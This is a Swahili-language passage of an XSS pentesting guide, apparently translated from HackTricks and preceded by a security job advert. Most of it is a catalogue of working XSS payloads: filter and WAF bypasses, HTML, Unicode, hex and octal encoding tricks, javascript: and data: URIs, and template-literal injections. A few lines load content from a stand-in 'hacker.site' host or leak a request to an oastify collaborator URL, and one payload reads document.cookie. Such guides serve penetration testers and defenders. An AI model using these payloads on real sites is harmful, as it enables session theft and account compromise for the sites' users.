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XSS (Cross Site Scripting)

Ikiwa una nia ya kazi ya udukuzi na kudukua mambo yasiyodukuzika - tunakupa kazi! (uwezo wa kuandika na kuzungumza Kipolishi vizuri unahitajika).

{% embed url="https://www.stmcyber.com/careers" %}

Mbinu

Angalia ikiwa thamani yoyote unayoidhibiti (parameta, njia, vichwa vya habari?, vidakuzi?) inaonyeshwa katika HTML au kutumiwa na msimbo wa JS.
Pata muktadha ambapo inaonyeshwa/inatumiwa.
Ikiwa inaonyeshwa
Angalia herufi zipi unaweza kutumia na kulingana na hilo, andaa mzigo:
Katika HTML ghafi:
Je, unaweza kuunda vitambulisho vipya vya HTML?
Je, unaweza kutumia matukio au sifa zinazounga mkono itifaki ya javascript:?
Je, unaweza kukiuka ulinzi?
Je, yaliyomo ya HTML inachambuliwa na injini yoyote ya JS ya upande wa mteja (AngularJS, VueJS, Mavo...), unaweza kutumia Uingizaji wa Kigezo cha Upande wa Mteja.
Ikiwa huwezi kuunda vitambulisho vya HTML vinavyotekeleza msimbo wa JS, je, unaweza kutumia Kuingiza Kielelezo - Kuingizwa kwa HTML bila msimbo?
Ndani ya kitambulisho cha HTML:
Je, unaweza kutoka kwenye muktadha wa HTML ghafi?
Je, unaweza kuunda matukio/sifa mpya za kutekeleza msimbo wa JS?
Je, sifa ambapo umekwama inaunga mkono utekelezaji wa JS?
Je, unaweza kukiuka ulinzi?
Ndani ya msimbo wa JavaScript:
Je, unaweza kuepuka lebo ya <script>?
Je, unaweza kuepuka herufi na kutekeleza msimbo tofauti wa JS?
Je, matokeo yako ni katika herufi za kielelezo ``?
Je, unaweza kukiuka ulinzi?
Kazi ya JavaScript inayotekelezwa
Unaweza kutaja jina la kazi ya kutekelezwa. k.m.: ?callback=alert(1)
Ikiwa inatumiwa:
Unaweza kutumia DOM XSS, angalia jinsi matokeo yako yanavyodhibitiwa na ikiwa matokeo yako yanayodhibitiwa yanatumiwa na sink.

Unapofanya kazi kwenye XSS ngumu unaweza kupata kuvutia kujua kuhusu:

{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}

Thamani Zilizoonyeshwa

Ili kufanikiwa kutumia XSS jambo la kwanza unahitaji kupata ni thamani unayoidhibiti inayoonyeshwa kwenye ukurasa wa wavuti.

Kati kati inayoonyeshwa: Ikiwa unagundua kuwa thamani ya parameta au hata njia inaonyeshwa kwenye ukurasa wa wavuti unaweza kutumia Reflected XSS.
Imehifadhiwa na inayoonyeshwa: Ikiwa unagundua kuwa thamani unayoidhibiti imehifadhiwa kwenye seva na inaonyeshwa kila wakati unapofikia ukurasa unaweza kutumia Stored XSS.
Kufikiwa kupitia JS: Ikiwa unagundua kuwa thamani unayoidhibiti inatumika kwa kutumia JS unaweza kutumia DOM XSS.

Muktadha

Unapojaribu kutumia XSS jambo la kwanza unahitaji kujua ikiwa muktadha wa matokeo yako unaonyeshwa. Kulingana na muktadha, utaweza kutekeleza msimbo wa JS kwa njia tofauti.

HTML Ghafi

Ikiwa matokeo yako yanaonyeshwa kwenye HTML ghafi unahitaji kutumia kitambulisho cha HTML ili kutekeleza msimbo wa JS: <img , <iframe , <svg , <script ... hizi ni baadhi tu ya vitambulisho vingi vya HTML vinavyoweza kutumika.
Pia, kumbuka Uingizaji wa Kigezo cha Upande wa Mteja.

Ndani ya sifa za vitambulisho vya HTML

Ikiwa matokeo yako yanaonyeshwa ndani ya thamani ya sifa ya lebo unaweza jaribu:

Kujaribu kutoka kwenye sifa na kutoka kwenye lebo (kisha utakuwa kwenye HTML ghafi) na kuunda kitambulisho kipya cha HTML cha kutumia: "><img [...]
Ikiwa unaweza kutoka kwenye sifa lakini si kutoka kwenye lebo (> imekodishwa au imefutwa), kulingana na lebo unaweza kuunda tukio linalotekeleza msimbo wa JS: " autofocus onfocus=alert(1) x="
Ikiwa hauwezi kutoka kwenye sifa (" inakodishwa au imefutwa), basi kulingana na sifa ipi thamani yako inaonyeshwa ikiwa unadhibiti thamani yote au sehemu tu utaweza kutumia. Kwa mfano, ikiwa unadhibiti tukio kama onclick= utaweza kufanya iwekeleze msimbo wowote unapotumia. Mfano mwingine wa kuvutia ni sifa href, ambapo unaweza kutumia itifaki ya javascript: kutekeleza msimbo wowote: href="javascript:alert(1)"
Ikiwa matokeo yako yanaonyeshwa ndani ya "vitambulisho visivyoweza kutumiwa" unaweza kujaribu mbinu ya accesskey kutumia mwanya huo (utahitaji aina fulani ya mhandisi wa kijamii kuitumia): " accesskey="x" onclick="alert(1)" x="

Mfano wa kushangaza wa Angular unatekeleza XSS ikiwa unadhibiti jina la darasa:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Ndani ya msimbo wa JavaScript

Katika kesi hii, matokeo yako yanarudiwa kati ya <script> [...] </script> tags ya ukurasa wa HTML, ndani ya faili ya .js au ndani ya sifa inayotumia itifaki ya javascript::

Ikiwa inarudiwa kati ya <script> [...] </script> tags, hata kama matokeo yako iko ndani ya aina yoyote ya herufi, unaweza kujaribu kuingiza </script> na kutoroka kutoka kwa muktadha huu. Hii inafanya kazi kwa sababu kivinjari kitapambua kwanza vitambulisho vya HTML na kisha maudhui, kwa hivyo, haitagundua kuwa lebo yako ya </script> iliyopachikwa iko ndani ya msimbo wa HTML.
Ikiwa inarudiwa ndani ya herufi ya JS na mbinu ya mwisho haifanyi kazi, utahitaji kutoka kwenye herufi, kutekeleza msimbo wako na kujenga upya msimbo wa JS (ikiwa kuna kosa, haitatekelezwa):
- '-alert(1)-'
- ';-alert(1)//
- \';alert(1)//
Ikiwa inarudiwa ndani ya herufi za kiolesura unaweza kuingiza mifano ya JS kutumia sintaksia ya ${ ... }: var salamu = `Hello, ${alert(1)}`
Ukodishaji wa Unicode unafanya kazi kuandika msimbo halali wa javascript:

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Kukweka Javascript

Kukweka Javascript inahusu fursa ya kutangaza kazi, vitu au madarasa baada ya kutumiwa ili uweze kutumia hali ambapo XSS inatumia vitu au kazi ambazo hazijatangazwa.
Angalia ukurasa ufuatao kwa maelezo zaidi:

{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}

Kazi ya Javascript

Kurasa kadhaa za wavuti zina makutano ambayo hukubali kama parameta jina la kazi ya kutekeleza. Mfano wa kawaida unaoweza kuonekana ni kama hivi: ?callback=callbackFunc.

Njia nzuri ya kugundua ikiwa kitu kilichotolewa moja kwa moja na mtumiaji kinajaribu kutekelezwa ni kubadilisha thamani ya parameta (kwa mfano kuwa 'Vulnerable') na kutazama kwenye konsoli kwa makosa kama:

Ikiwa ni dhaifu, unaweza kuweza kuzindua onyo kwa kutuma thamani: ?callback=alert(1). Hata hivyo, ni kawaida sana kwamba makutano haya yata thibitisha maudhui ili kuruhusu herufi, nambari, alama za mshale na mistari ya chini tu ([\w\._]).

Hata hivyo, hata na kizuizi hicho bado inawezekana kutekeleza baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi halali hizo kufikia kipengele chochote katika DOM:

Baadhi ya kazi muhimu kwa hili:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Unaweza pia kujaribu kuzindua kazi za Javascript moja kwa moja: obj.sales.delOrders.

Walakini, kwa kawaida vituo vinavyotekeleza kazi iliyotajwa ni vituo bila DOM ya kuvutia sana, kurasa nyingine katika asili ile ile zitakuwa na DOM yenye kuvutia zaidi kufanya vitendo zaidi.

Kwa hivyo, ili kutumia udhaifu huu katika DOM tofauti ilitengenezwa unyanyasaji wa utekelezaji wa Mbinu ya Asili Iliyofanana (SOME):

{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

DOM

Kuna msimbo wa JS ambao unatumia bila usalama baadhi ya data inayodhibitiwa na mshambuliaji kama vile location.href. Mshambuliaji, anaweza kutumia hii kutekeleza msimbo wa JS wa aina yoyote.

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

Universal XSS

Aina hii ya XSS inaweza kupatikana mahali popote. Hazitegemei tu unyanyasaji wa mteja wa programu ya wavuti bali kwenye muktadha wowote. Aina hii ya utekelezaji wa JavaScript wa aina yoyote inaweza hata kutumiwa kudanganya kupata RCE, kusoma faili za aina yoyote kwenye wateja na seva, na zaidi.
Baadhi ya mifano:

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}

Kupitisha WAF kwa kuweka picha

Kuingiza ndani ya HTML ghafi

Wakati matokeo yako yanarudishwa ndani ya ukurasa wa HTML au unaweza kutoroka na kuingiza msimbo wa HTML katika muktadha huu, jambo la kwanza unalohitaji kufanya ni kuangalia ikiwa unaweza kutumia < kuunda vitambulisho vipya: Jaribu tu kurudisha herufi hiyo na uangalie ikiwa ina kodishwa kwa HTML au kufutwa au ikiwa ina kurudishwa bila mabadiliko. Katika kesi ya mwisho tu ndio utaweza kutumia udhaifu huu.
Kwa kesi hizi pia kumbuka Uingizaji wa Kigezo cha Upande wa Mteja.
Maelezo: Maoni ya HTML yanaweza kufungwa kwa kutumia** --> au ****--!>**

Katika kesi hii na ikiwa hakuna orodha nyeusi/orodha nyeupe inayotumiwa, unaweza kutumia mizigo kama:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

Lakini, ikiwa orodha nyeusi/nyeupe ya vitambulisho/vipengele inatumika, utahitaji kufanya nguvu ya kutumia vitambulisho unavyoweza kuunda.
Baada ya kupata vitambulisho vilivyoidhinishwa, utahitaji kufanya nguvu ya kutumia vipengele/matukio ndani ya vitambulisho halali ulivyopata kuona jinsi unavyoweza kushambulia muktadha.

Nguvu ya Vitambulisho/Matukio

Nenda kwenye https://portswigger.net/web-security/cross-site-scripting/cheat-sheet na bonyeza Nakili vitambulisho kwenye ubao. Kisha, tuma vyote kwa kutumia Burp intruder na angalia kama kuna vitambulisho vilivyogunduliwa kuwa vichafu na WAF. Baada ya kugundua vitambulisho unavyoweza kutumia, unaweza kufanya nguvu ya kutumia matukio yote kwa kutumia vitambulisho halali (kwenye ukurasa huo huo wa wavuti bonyeza Nakili matukio kwenye ubao na fuata utaratibu huo huo kama awali).

Vitambulisho vya Kibinafsi

Ikiwa hukupata kitambulisho halali la HTML, unaweza kujaribu kuunda kitambulisho cha kibinafsi na kutekeleza msimbo wa JS na sifa ya onfocus. Katika ombi la XSS, unahitaji kumaliza URL na # ili kufanya ukurasa uelekee kwenye kitu hicho na kutekeleza msimbo:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Kupitisha Orodha ya Kupiga Marufuku

Ikiwa aina fulani ya orodha ya kupiga marufuku inatumika, unaweza jaribu kuipitisha kwa mbinu za kipumbavu:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Kupitisha urefu (XSSs ndogo)

{% hint style="info" %} XSS ndogo zaidi kwa mazingira tofauti mzigo unaweza kupatikana hapa na hapa. {% endhint %}

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

Ya mwisho ni kutumia wahusika 2 wa Unicode ambao hufikia 5: telsr
Zaidi ya wahusika hawa wanaweza kupatikana hapa.
Kuangalia ni wahusika gani wamegawanywa angalia hapa.

Bonyeza XSS - Clickjacking

Ikiwa ili kutumia udhaifu unahitaji mtumiaji abonyeze kiungo au fomu na data iliyopangiliwa mapema unaweza kujaribu kutumia Clickjacking (ikiwa ukurasa una udhaifu).

Haiwezekani - Dangling Markup

Ikiwa unafikiria tu kwamba haiwezekani kuunda lebo ya HTML na sifa ya kutekeleza msimbo wa JS, unapaswa kuangalia Danglig Markup kwa sababu unaweza kutumia udhaifu bila kutekeleza msimbo wa JS.

Kuingiza ndani ya lebo ya HTML

Ndani ya lebo/kutoroka kutoka thamani ya sifa

Ikiwa uko ndani ya lebo ya HTML, jambo la kwanza unaloweza kujaribu ni kutoroka kutoka kwa lebo na kutumia baadhi ya mbinu zilizotajwa katika sehemu iliyotangulia kutekeleza msimbo wa JS.
Ikiwa hauwezi kutoroka kutoka kwa lebo, unaweza kuunda sifa mpya ndani ya lebo kujaribu kutekeleza msimbo wa JS, kwa mfano kutumia mzigo kama huu (tambua kwamba katika mfano huu alama za nukuu mara mbili hutumiwa kutoroka kutoka kwa sifa, hautahitaji hizo ikiwa matokeo yako yanarejelewa moja kwa moja ndani ya lebo):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Matukio ya Mtindo

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Ndani ya sifa

Hata kama hauwezi kutoroka kutoka kwa sifa (" inakodishwa au kufutwa), kutegemea sifa ipi thamani yako inaonyeshwa ikiwa una udhibiti wa thamani yote au sehemu tu utaweza kuitumia vibaya. Kwa mfano, ikiwa una udhibiti wa tukio kama onclick=, utaweza kuifanya itekeleze nambari ya kupindukia wakati inapobonyezwa.
Mfano mwingine wa kuvutia ni sifa href, ambapo unaweza kutumia itifaki ya javascript: kutekeleza nambari ya kupindukia: href="javascript:alert(1)"

Kupita ndani ya tukio kwa kutumia uendeshaji wa HTML encoding/URL encode

Vichwa vya habari vilivyokodishwa vya HTML ndani ya thamani ya sifa za vitambulisho vya HTML vinadecoded wakati wa uendeshaji. Kwa hivyo kitu kama hicho kitakuwa halali (mzigo uko kwa herufi nene): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Rudi </a>

Tafadhali kumbuka aina yoyote ya HTML encode ni halali:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Tafadhali kumbuka kuwa URL encode pia itafanya kazi:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Kupita ndani ya tukio kutumia msimbaji wa Unicode

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Itifaki Maalum Ndani ya sifa

Hapo unaweza kutumia itifaki za javascript: au data: mahali fulani ili kutekeleza msimbo wa JS wa kiholela. Baadhi itahitaji ushirikiano wa mtumiaji na nyingine hazitahitaji.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Maeneo ambapo unaweza kuingiza itifaki hizi

Kwa ujumla itifaki ya javascript: inaweza kutumika katika lebo yoyote inayokubali sifa ya href na katika karibu lebo zote zinazokubali sifa ya src (isipokuwa <img)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Mbinu nyingine za kuficha

Katika kesi hii, ujazo wa HTML na mbinu ya ujazo wa Unicode kutoka sehemu iliyopita ni sahihi pia kwani uko ndani ya sifa.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Zaidi ya hayo, kuna mchezo mzuri mwingine kwa hali hizi: Hata kama kuingiza kwako ndani ya javascript:... inakuwa imefanyiwa URL encoding, itakuwa URL decoded kabla ya kutekelezwa. Kwa hivyo, ikiwa unahitaji kutoroka kutoka kwa herufi kwa kutumia alama ya nukta moja na unaona kwamba imefanyiwa URL encoding, kumbuka kwamba hauna maana, itatafsiriwa kama alama ya nukta moja wakati wa utekelezaji.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Tafadhali kumbuka kwamba ikiwa unajaribu kutumia zote mbili URLencode + HTMLencode kwa mpangilio wowote kuweka payload haitafanya kazi, lakini unaweza kuzichanganya ndani ya payload.

Kutumia Hex na Octal encode na javascript:

Unaweza kutumia Hex na Octal encode ndani ya sifa ya src ya iframe (angalau) kutangaza vitambulisho vya HTML kutekeleza JS:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Kubadilisha tabu ya nabbing

<a target="_blank" rel="opener"

Ikiwa unaweza kuingiza URL yoyote katika tag ya <a href= isiyo na mpangilio ambayo ina sifa za target="_blank" na rel="opener", angalia ukurasa ufuatao kuchexploit tabia hii:

{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}

Kwenye Mabwawa ya Tukio

Kwanza kabisa angalia ukurasa huu (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) kwa "mabwawa ya tukio" yanayoweza kutumika.
Kwa hali ambapo kuna orodha nyeusi inayozuia kutengeneza mabwawa haya ya tukio, unaweza kujaribu kubadilisha:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

XSS katika "Vitambulisho visivyoweza kudukuliwa" (kuingiza siri, kiungo, kanoni, meta)

Kutoka hapa sasa inawezekana kutumia vibali vya siri na:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

Na kwenye lebo za meta:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Kutoka hapa: Unaweza kutekeleza XSS payload ndani ya sifa iliyofichwa, ikiwa unaweza kumshawishi mlemavu kubonyeza kombinasi ya funguo. Kwenye Firefox Windows/Linux kombinasi ya funguo ni ALT+SHIFT+X na kwenye OS X ni CTRL+ALT+X. Unaweza kubainisha kombinasi tofauti ya funguo kwa kutumia funguo tofauti katika sifa ya ufikivu. Hapa kuna vector:

<input type="hidden" accesskey="X" onclick="alert(1)">

Mzigo wa XSS utakuwa kama huu: " accesskey="x" onclick="alert(1)" x="

Kuepuka Orodha ya Kupiga marufuku

Mbinu kadhaa za kutumia nambari tofauti za kuweka zilifunuliwa tayari ndani ya sehemu hii. Rudi nyuma kujifunza unaweza kutumia wapi:

Ukodishaji wa HTML (lebo za HTML)
Ukodishaji wa Unicode (inaweza kuwa nambari halali ya JS): \u0061lert(1)
Ukodishaji wa URL
Ukodishaji wa Hex na Octal
Ukodishaji wa data

Kuepuka kwa lebo na sifa za HTML

Soma Kuepuka kwa Orodha ya Kupiga marufuku ya sehemu iliyopita.

Kuepuka kwa nambari ya JavaScript

Soma Kuepuka kwa Orodha ya Kupiga marufuku ya JavaScript ya sehemu ifuatayo.

CSS-Gadgets

Ikiwa umepata XSS katika sehemu ndogo sana ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo chini ya kichwa cha kurasa chenye kipengele cha onmouseover), unaweza kujaribu kubadilisha nafasi ambayo kipengele hicho kinachukua ili kuongeza uwezekano wa kiungo hicho kufanya kazi.

Kwa mfano, unaweza kuongeza mtindo fulani kwenye kipengele kama: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Lakini, ikiwa WAF inachuja sifa ya mtindo, unaweza kutumia CSS Styling Gadgets, hivyo ikiwa unapata, kwa mfano

.jaribio {display:block; color: blue; width: 100%}

#kitambulisho {top: 0; font-family: Tahoma;}

Sasa unaweza kubadilisha kiungo chetu na kukiweka katika fomu

<a href="" id=kitambulisho class=jaribio onclick=alert() a="">

Mbinu hii ilitolewa kutoka https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Kuingiza ndani ya nambari ya JavaScript

Katika kesi hizi kuingiza yako itakuwa inajitokeza ndani ya nambari ya JS ya faili ya .js au kati ya <script>...</script> lebo au kati ya matukio ya HTML ambayo yanaweza kutekeleza nambari ya JS au kati ya sifa zinazokubali itifaki ya javascript:.

Kuepuka lebo ya <script>

Ikiwa nambari yako imeingizwa ndani ya <script> [...] var input = 'data inayojitokeza' [...] </script> unaweza kwa urahisi kuepuka kufunga lebo ya <script>:

</script><img src=1 onerror=alert(document.domain)>

Tafadhali elewa kwamba katika mfano huu hatujafunga alama ya nukta moja. Hii ni kwa sababu uchambuzi wa HTML hufanywa kwanza na kivinjari, ambao unajumuisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vitalu vya script. Uchambuzi wa JavaScript ili kuelewa na kutekeleza mistari iliyomo hufanywa baadaye.

Ndani ya msimbo wa JS

Ikiwa <> inasanitizwa unaweza bado kutoroka kutoka kwa herufi ambapo mwingiliano wako uko umejumuishwa na kutekeleza JS ya kupindukia. Ni muhimu kurekebisha muundo wa JS, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

Template literals ``

Ili kujenga maneno mbali na alama za nukta moja na mbili, JS pia inakubali backticks ``. Hii inajulikana kama template literals kwani inaruhusu kuweka JS expressions kwa kutumia sintaksia ${ ... }.

Kwa hivyo, ikiwa utagundua kuwa matokeo yako yanarudishwa ndani ya neno la JS linalotumia backticks, unaweza kutumia sintaksia ${ ... } kutekeleza michocheo ya JS ya kiholela:

Hii inaweza kutumiwa vibaya kwa kutumia:

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`

// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

Utekelezaji wa kanuni iliyohifadhiwa

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Kubadilisha Unicode ya Utekelezaji wa JS

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Mbinu za kukiuka orodha nyeusi ya JavaScript

Maneno

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Kutoroka maalum

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

Badiliko la nafasi ndani ya msimbo wa JS

<TAB>
/**/

Maoni ya JavaScript (kutoka Mbinu za Maoni ya JavaScript udanganyifu)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

Mstari mpya wa JavaScript (kutoka Mstari mpya wa JavaScript hila)

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

Nafasi za JavaScript

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript ndani ya maoni

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript bila mabano

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
